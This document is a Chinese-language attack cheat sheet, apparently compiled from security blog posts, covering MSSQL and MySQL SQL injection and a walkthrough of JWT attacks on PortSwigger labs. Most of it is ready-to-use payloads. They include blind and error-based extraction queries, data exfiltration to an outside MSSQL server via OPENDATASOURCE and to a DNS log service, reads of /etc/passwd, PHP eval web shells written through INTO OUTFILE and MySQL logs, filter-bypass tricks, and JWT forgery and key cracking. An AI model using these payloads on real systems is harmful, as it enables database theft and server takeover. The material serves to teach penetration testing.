7.获取当前用户名
and user_name()>0--+
8,获取所有数据库名
and (select name from master.sys.databases where database_id=1)>0--+
# 更改database_id的值来获取所有的数据库
9.获取数据库的个数
and 1=(select quotename(count(name)) from master.sys.databases)--+
10.一次性获取所有数据库库
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+
11.获取所有的表名
# 获取当前库第一个表
and 1=(select top 1 table_name from information_schema.tables)--+
# 获取当前库第二个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+
# 获取当前库第三个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+
# 也可通过更改top 参数获取表
and 1=(select top 1 table_name from information_schema.tables where table_name not in
(select top 5 table_name from information_schema.tables))--+
# quotename和for xml path('')一次性获取全部表
and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+
# quotename()的主要作用就是在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行。
12.获取字段名
# 通过top 和 not in 获取字段
and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+
and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+
# 通过quotename 和 for xml path('') 获取字段
and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+
13.获取表中数据
and 1=(select quotename(username) from users for xml path(''))--+
and 1=(select quotename(password) from users for xml path(''))--+
布尔盲注
1. 判断注入点
and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+
2.猜解数据库个数
id=1 and (select count(*) from sys.databases)=7--+ # 存在7个数据库
3.猜解数据库名长度
id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6
id=1 and len(db_name())=4--+ # 当前数据库名长度为4
4.猜解数据库名
id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s
id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q
# 截取第一个库名第一个字符的ascii码为109——m
id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+
# 截取第二个库名第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+
5.猜解表名
# 截取当前库的第一个表的第一个字符的ascii码为101——e
id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+
# 截取当前库的第二个表的第一个字符的ascii码为117——u
id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+
6.猜解字段名
# 截取当前库的emails表的第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+
#截取当前库的emails表的第二个字符的ascii码为100——d
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+
7.猜解表中数据
# username字段的数据第一个字符为D
id=1 and ascii(substring((select top 1 username from users),1,1))=68--+
时间盲注
1.判断是否存在注入
id=1 WAITFOR DELAY '0:0:5'--+
2.判断权限
# 如果是sysadmin权限,则延时5秒
id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+
3.查询当前数据库的长度和名字
# 二分法查询长度
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+
# 查询数据库名字
# substring截取字符串的位置,用ascii转为数字进行二分法查询
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+
4.查询数据库的版本
id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M
5.查询表个数,Sysobject 存储了所有表的信息,所有数据库的都放在一起
id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+
# 当前数据库表的个数为6
6.查询第一个表的长度
# 查询第一个表
id=1 and select top 1 name from SysObjects where xtype='u'
# 查询结果为1
(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')
# 利用and,进行判断,9为表长度的猜测
and len(name)=9
# 第一个表名长度为6
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+
7.查询第一个表的表名
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+
8.查询第二个表的长度
# 查询第一个表名,去除emails, emails为第一个表名
select top 1 name from SysObjects where xtype='u' and name not in ('emails')
# 同理,第三个表则 and name not in ('emails','uagents')
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+
9.查询第二个表的名字
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+
10.查询第一个表中的字段
# and name not in ('')查询第二个字段的时候可以直接在其中,排除第一个字段名
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+
11.查询字段类型
id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+
12.查询数据
# 查询所有数据库
SELECT Name FROM Master..SysDatabases ORDER BY Name
# 查询存在password字段的表名
SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'
id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--
# 查询包含pass的字段名
SELECT top 1 name FROM SysColumns where name like '%pass%'
id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--
反弹注入
反弹注入条件相对苛刻一些,一是需要一台搭建了mssql数据库的vps服务器,二是需要开启堆叠注入。
反弹注入需要使用opendatasource函数。
OPENDATASOURCE(provider_name,init_string)
使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。
基本流程
连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。
CREATE TABLE test(name VARCHAR(255))
获取数据库所有表,使用反弹注入将数据注入到表中,注意这里填写的是数据库对应的参数,最后通过空格隔开要查询的数据。
# 查询sysobjects表
?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.sysobjects where xtype='U' --+
# 查询information_schema数据库
?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select table_name from information_schema.tables--+
# 查询information_schema数据库
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select column_name from information_schema.columns where table_name='admin'--+
# 查询syscolumns表
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.syscolumns where id=1977058079--+
数据库注入提权总结(一)
MYSQL
基础注入
联合查询
若前面的查询结果不为空,则返回两次查询的值:
若前面的查询结果为空,则只返回union查询的值:
关键字union select
需要字段数对应
常用Payload:
# 查询表名
' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
# 查询字段名
' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23
报错注入
报错注入是利用mysql在出错的时候会引出查询信息的特征,常用的报错手段有如下10种:
# 修改select user() 字段 获取不同的信息
# 1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
# 2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
# 3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
# 4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
# 5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
布尔盲注
常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。
返回值只有True或False的类型
如果查询结果不为空,则返回True(或者是Success之类的),否则返回False
这种注入比较简单,可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确
例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+
Orderby盲注
order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注:
例:order by rand(database()='pdotest')
返回了True的排序,说明database()=’pdotest’是正确的值
时间盲注
其实大多数页面,即使存在sql注入也基本是不会有回显的,因此这时候就要用延时来判断查询的结果是否正确。
常见的时间盲注有:
1.sleep(x)
id=' or sleep(3)%23
id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23
查询结果正确,则延迟3秒,错误则无延时。
2.benchmark()
通过大量运算来模拟延时:
id=' or benchmark(10000000,sha(1))%23
id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23
本地测试这个值大约可延时3秒:
3.笛卡尔积
计算笛卡尔积也是通过大量运算模拟延时:
select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C
select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)
笛卡尔积延时大约也是3秒
HTTP头注入
注入手法和上述相差不多,就是注入点发生了变化
HTTP分割注入
常见场景,登录处SQL语句如下,注释符号被过滤
select xxx from xxx where username=’xxx’ and password=’xxx’# 方法一
username=1' or extractvalue/*
password=1*/(1,concat(0x7e,(select database()),0x7e))or'
SQL语句最终变为
select xxx from xxx where username='1' or extractvalue/*’ and password=’*/(1,concat(0x7e,(select database()),0x7e))or''
# 方法二
username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1
password=1
select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'
二次注入
二次注入主要出现在update和select结合点,如注册之后在登录
攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题
SQL约束攻击
假如注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。
则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,所以数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相当于覆写了admin账号。
基础绕过
大小写绕过
用于过滤时没有匹配大小写的情况:
SelECt * from table;
双写绕过
用于将禁止的字符直接删掉的过滤情况如:
preg_replace(‘/select/‘,’’,input)
则可用seselectlect from xxx来绕过,在删除一个select后剩下的就是select from xxx
绕过空格
当空格被过滤时,可以使用/**/ () %0a %09进行绕过
使用16进制绕过特定字符
如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过:
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273为users的16进制
只能针对表名,字段名等,内置函数关键字,不能使用16进制替代
宽字节、Latin1默认编码
宽字节注入
用于单引号被转义,但编码为gbk编码的情况下,用特殊字符将其与反斜杠合并,构成一个特殊字符:
username = %df'#
经gbk解码后变为:
select * from users where username ='運'#
成功闭合了单引号。
Latin1编码
Mysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略
于是我们可以输入?username=admin%c2,存储至表中就变为了admin
上面的%c2可以换为%c2-%ef之间的任意字符
常见字符的替代
and -> &&
or -> ||
空格-> /**/ -> %a0 -> %0a -> +
# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in
注:regexp为正则匹配,利用正则会有些新的注入手段
逗号被过滤
# 用join代替:
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23
# limit:
limit 2,1
limit 1 offset 2
# substr:
substr(database(),5,1)
substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个
substr(database() from 5)
# 如果for也被过滤了
mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同
# if:
if(database()=’xxx’,sleep(3),1)
id=1 and databse()=’xxx’ and sleep(3)
select case when database()=’xxx’ then sleep(5) else 0 end
limit被过滤
select user from users limit 1
加限制条件,如:
select user from users group by user_id having user_id = 1 (user_id是表中的一个column)
information_schema被过滤
innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中
除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema
文件读写
读写权限
在进行MySQL文件读写操作之前要先查看是否拥有权限,mysql文件权限存放于mysql表的file_priv字段,对应不同的User,如果可以读写,则数据库记录为Y,反之为N:
我们可以通过user()查看当前用户是什么,如果对应用户具有读写权限,则往下看,反之则放弃这条路找其他的方法。
除了要查看用户权限,还有一个地方要查看,即secure-file-priv。它是一个系统变量,用于限制读写功能,它的值有三种:
(1)无内容,即无限制
(2)为NULL,表示禁止文件读写
(3)为目录名,表示仅能在此目录下读写
该配置项存放在my.ini中,修改之后必须重启mysql重新加载配置文件
读文件
如果满足上述2个条件,则可尝试读写文件了。
常用的读文件的语句有如下几种:
select load_file(file_path);
load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件
load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件
需要注意的是,file_path必须为绝对路径,且反斜杠需要转义:
写文件
select 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php';
当secure_file_priv值为NULL时,可用生成日志的方法绕过:
set global general_log_file = '/var/www/html/1.php';
set global general_log = on;
日志除了general_log还有其他许多日志,实际场景中需要有足够的写入日志的权限,且需要堆叠注入的条件方可采用该方法,因此利用非常困难。
DNS外带注入
若用户访问DNS服务器,则会在DNS日志中留下记录。如果请求中带有SQL查询的信息,则信息可被带出到DNS记录中。
利用条件:
1.secure_file_priv为空且有文件读取权限
2.目标为windows(利用了UNC,Linux不可行)
3.无回显且无法时间盲注
利用方法:
可以找一个免费的DNSlog:http://dnslog.cn/
进入后可获取一个子域名,执行:
select load_file(concat('\\',(select database()),'.子域名.dnslog.cn'));
相当于访问了select database().子域名.dnslog.cn,于是会留下DNSLOG记录,可从这些记录中查看SQL返回的信息。
mysql getshell
文件导出函数GetShell
利用条件
数据库当前用户为root权限
知道当前网站的绝对路径
PHP的GPC为off状态
写入的那个歌路径存在写入权限
基于联合查询时
?id=1 union select 1,'<?php phpinfo();?>',3 into outfile '网站根目录绝对路径'-- qwe
?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile '网站根目录绝对路径'-- qwe
非联合查询
?id=1 into outfile '网站根目录绝对路径' FIELDS TERMINATED BY '<?php phpinfo();?>'-- qwe
这个语句的意思是,导出当前数据表到xxx文件中,数据表中的字段以<?php phpinfo();?>分隔
形如:
id username password 导出后会变成
id<?php phpinfo();?>username<?php phpinfo();?>password
outfile和dumpfile的区别
outfile:
支持多行数据同时导出
使用union联合查询时,要保证两侧查询的列数相同
会在换行符制表符后面追加反斜杠
会在末尾追加换行
dumpfile:
每次只能导出一行数据
不会在换行符制表符后面追加反斜杠
不会在末尾追加换行
因此,dumpfile函数这个函数来顺利写入二进制文件,当然into outfile函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效),当使用dumpfile函数时,应该手动添加limit限制来获取不同的行数。
secure_file_prive
写文件提权,终究是离不开这个配置项:
secure_file_prive= ,结果为空的话,表示允许任何文件读写
secure_file_prive=NULL,表示不允许任何文件读写
secure_file_prive=‘某个路径’,表示这个路径作为文件读写的路径
在mysql5.5版本前,都是默认为空,允许读取
在mysql5.6版本后 ,默认为NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改。
查询该参数配置的情况:
show global variables like "%secure%";
利用sql语句修改配置项(5.6版本以前,临时修改重启失效):
set global secure_file_prive=""
5.6版本以后,只能利用配置项修改:
日志GetShell
全局日志Getshell
利用general_log,可以将所有到达mysql服务器的sql语句,都记录下来
# 查看日志是否开启
show variables like 'general_log';
# 开启日志功能
set global geeral_log=on;
# 查看文件日志保存位置
show variables like 'general_log_file';
# 设置日志保存位置(getshell的话存放在网站根目录,名为.php)
set global general_log_file='/var/www/html/shell.php';
# 查看日志输出类型 table:将日志存入数据库的日志表中;file:将日志存入文件中
show variables like 'log_output';
# 修改日志存储类型
set global log_output='table/file';
GetShell方式:
set global geeral_log=on;
set global general_log_file='/var/www/html/shell.php';
select '<?php eval($_POST[8]);?>'
慢日志GetShell
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式
# 查看服务器默认时间值方式
show global variables like '%long_query_time%'
show global variables like '%long%'
# 查看慢日志参数
show global variable like '%slow%';
GetShell方式:
# 打开慢日志
set global slow_query_log=on
# 设置慢日志路径
set global slow_query_log_file='/var/www/html/shell.php'
# 记录到日志中的语句
select '<?php @eval($_POST[8]);?>' or sleep(20)
爆绝对路径的方法
上述的提权方式都离不开知道网站的绝对路径,下面是一些得到绝对路径的方法。
单引号爆路径
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。http://www.xxx.com/news.php?id=1′
错误参数值爆路径
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。http://www.xxx.com/researcharchive.php?id=-1
Google爆路径
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
测试文件爆路径
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
phpmyadmin爆路径
一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
配置文件找路径
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
Linux
为什么要把Linux单独提出来说,因为Linux的权限控制很严格,有的时候即使我们完全控住了MYSQL 但是 没有对网站根目录的读写权限,也会很没有办法去利用上述方法写shell。
浅析JWT安全问题
前不久研究websocket时发现port-swigger出了新的靶场,一看,发现是关于jwt安全的,刚好来总结回忆一下
JWT简介
Json web token (JWT),是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519)
RFC 7519:https://datatracker.ietf.org/doc/html/rfc7519
他定义了一种紧凑且自包含的方式,用于在各方之间安全地传输信息作为 JSON 对象,特别适用于分布式站点的单点登录(SSO)场景
JWT与cookie/session的异同
● JWT与cookie/session一样,都是作用于前后端认证
● cookie/session:后端有个session,前端有个cookie,这样的基于session的认证会要求服务端不断存储用户登录信息,而随着不同客户端用户的增加,独立的服务器会逐渐无法承载更多的用户,导致其服务器的压力十分巨大,且cookie一旦被窃取还可能造成CSRF攻击
● JWT:当我们把前后端分离开来,后端不再有session,当不再需要保存session文件,这就降低了服务端的负担,而我们就可以利用JWT这么一个基于token的鉴权认证,而基于token认证机制的应用就不需要去考虑用户在哪个服务器登录,客户端也可以将通过服务器认证后的json对象存储起来,下次访问时连同请求内容一同发送即可
JWT格式
JWT由Header、Payload、Signature组成
Header.Payload.Signature
Header
{"alg":"加密算法","typ":"JWT"}
Payload
iss: The issuer of the token
sub: The subject of the token
aud: The audience of the token
exp: JWT expiration time defined in Unix time
nbf: "Not before" time that identifies the time before which the JWT must not be accepted for processing
iat: "Issued at" time, in Unix time, at which the token was issued
jti: JWT ID claim provides a unique identifier for the JWT
//可以自定义其它字段
Signature
Signature = HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),"secret")
secret保存在后端,就是来解析确定验证的key
JWT&JWS&JWE
● JWS,即JSON Web Signature,只是 JWT 的一种实现
● JWE,即JSON Web Encryption,也只是 JWT 的一种实现
潜在漏洞
● 签名未校验
● 算法被篡改
● 敏感信息泄露
● 加密算法不安全
● 伪造密钥(CVE-2018-0114)
JWT安全问题
未对签名进行验证
我们前面说过,JWT存在一个Signature 签名,如若没对签名进行认证,就可能存在越权情况
靶场
Lab: JWT authentication bypass via unverified signature
解法
To solve the lab, modify your session token to gain access to the admin panel at /admin, then delete the user carlos.
我们需要把carlos删掉,而这就需要登录管理员账号,但是又没有给管理员的账号,只有一个普通用户,那我们就要想办法提升权限
先抓包
观察确定为JWT,将payload处字符base64解码得
把sub的wiener修改为administrator,重新传参
成功越权,然后就是删除用户即可
未对加密算法进行强验证
回顾一下Header的构成
{"alg":"加密算法","typ":"JWT"}
这里alg可以说明加密算法,但如果对该设置不进行强认证也会造成越权问题
我们可以把加密算法设成none来进行验证绕过
靶场
Lab: JWT authentication bypass via flawed signature verification
解法
先和上题一致,将sub内容修改为administrator,然后发现还是没能成为管理员,接着修改header的alg为none,把后续的Signature删除,因为Signature是通过alg算法生成的,既然alg都为none了,那Signature也应该为空了
成功变成管理员
然后就是正常删除用户就行
绕过弱签名密钥进行越权
Signature = HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),"secret")
我们知道,签名存在一个secret密钥,这个一般都会保存在后端,别人无法查看,但是类同于弱口令,一旦这个密钥不复杂就有可能被爆破,gayhub上也有很多爆破的字典
靶场
Lab: JWT authentication bypass via weak signing key
解法
还是一样先抓包得到JWT
然后用到hashcat来进行爆破,kali自带
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list
爆破得到secret为secret1
然后前往jwt.io生成我们需要的的jwt,把sub和secret进行修改
重新传包,成功
JWT标头注入
与很多注入一样,JWT标头注入也可大致分为两种情况,一是与数据库连接,搭配sql注入使用,一是不与数据库连接,单独进行越权操作
通过jwk参数注入自签名的JWT
还记得我们说过的JWS吗
JWS,即JSON Web Signature,只是 JWT 的一种实现
我们就可以通过JWK注入JWT,形成JWS
那什么是JWK呢
JWK 英文全称为 JSON Web Key,是一个JSON对象,表示一个加密的密钥,他不同于alg属性,JWK是可选的,以下就是一个示例
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}
在理想情况下,服务器应该是只使用公钥白名单来验证JWT签名的,但对于一些相关配置错误的服务器会用JWK参数中嵌入的任何密钥进行验证,攻击者就可以利用这一行为,用自己的RSA私钥对修改过的JWT进行签名,然后在JWK头部中嵌入对应的公钥进行越权操作
靶场
Lab: JWT authentication bypass via jwk header injection
解法
需要先安装一个插件,方便后续的操作
然后正常抓包,将sub内容修改为administrator
然后切换到JWT Editor Keys选项new一个RSA Key
我是已经生成的了,然后保存后回到Repeater选择Embedded JWK攻击
成功越权
JWT Editor
通过jku参数注入自签名的JWT
有些服务器并不会直接使用JWK头部参数来嵌入公钥,而是使用JKU(JWK Set URL)来引用一个包含了密钥的JWK Set,我们就可以借此来构造一个密钥从而实现越权操作
靶场
Lab: JWT authentication bypass via jku header injection
解法
先还是正常抓包修改sub内容,然后去到JWT Editor Keys生成一个RSA密钥,或者用上一道题目的也行,然后复制公钥
然后加上key头
{
"keys": [
]
}
保存到exploit的body中
然后将kid修改成自己生成的JWK中的kid值,将jku的值改为exploit,使其导入
然后回到点击下面的sign,选择Don’t modify header 模式,Sign 即可
成功越权
通过kid参数注入自签名的JWT
服务器可能会使用多个加密密钥来为不同类型的数据进行签名,出于这个原因,在JWT头部有时会包含一个kid参数,以避免服务器验证签名时出现错误,而在JWT规范中并没有对这个kid定义具体的结构,他仅仅是开发人员任意选择的一个字符串,可能只是一个指向数据库中的一个特定条目,甚至只是一个文件的名称也有可能
而安全问题就出现在这里,一旦这个参数受到目录遍历影响,就易被攻击者使用服务器任意文件的文件名作为验证密钥形成攻击链
靶场
Lab: JWT authentication bypass via kid header path traversal
解法
先生成一个Symmetric Key,也就是对称密钥,并将 k 的值修改为 AA==即为null
然后抓包修改kid值和sub进行目录遍历
/dev/null是linux中的“黑洞”,代表空设备文件
/dev/null文件名与AA==一致都为null,对称密钥,应该可以成功绕过
然后回到repeater点击sign选择OCT8 的密钥攻击
成功越权
其他有趣的JWT头部参数
● cty(内容类型)如果已经找到了绕过签名验证的方法,可以尝试注入cty参数,将内容类型改为text/xml或application/x-java-serialized-object,这有可能为XXE和反序列化攻击提供新的向量。
● x5c(X.509证书链)类似于上面讨论的jwk头部注入攻击,由于此标头参数可用于注入自签名证书,且由于 X.509 格式及其扩展的复杂性,引入这些证书时也有可能引入漏洞,可见CVE-2017-2800 和 CVE-2018-2633
JWT算法混淆
● 即使服务器的密码是攻击者无法破解的复杂密码,但是由于JWT库的一些原生安全问题,攻击者可能会以开发者想不到的算法来伪造有效的JWT
● portswigges里也有相关靶场,目前尚未完全理解,先挖个坑,后续补上
JWT攻击的防御
我们可以看到,JWT攻击千奇百怪,但是万变不离其宗,主要的潜在漏洞为
● 签名未校验
● 算法被篡改
● 敏感信息泄露
● 加密算法不安全
● 伪造密钥
我们也可围绕这些进行JWT攻击进行防御
● 使用最新的 JWT 库,虽然最新版本的稳定性有待商榷,但是安全性都是较高的
● 对 jku 标头进行严格的白名单设置
● 确保 kid 标头不容易受到通过 header 参数进行目录遍历或 SQL 注入的攻击
● 始终为颁发的任何令牌设置一个到期日
● 尽可能避免通过URL参数发送令牌
● 提供aud声明(或类似内容),以指定令牌的预期接收者,防止其应用在不同网站
● 让颁发服务器能够撤销令牌
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

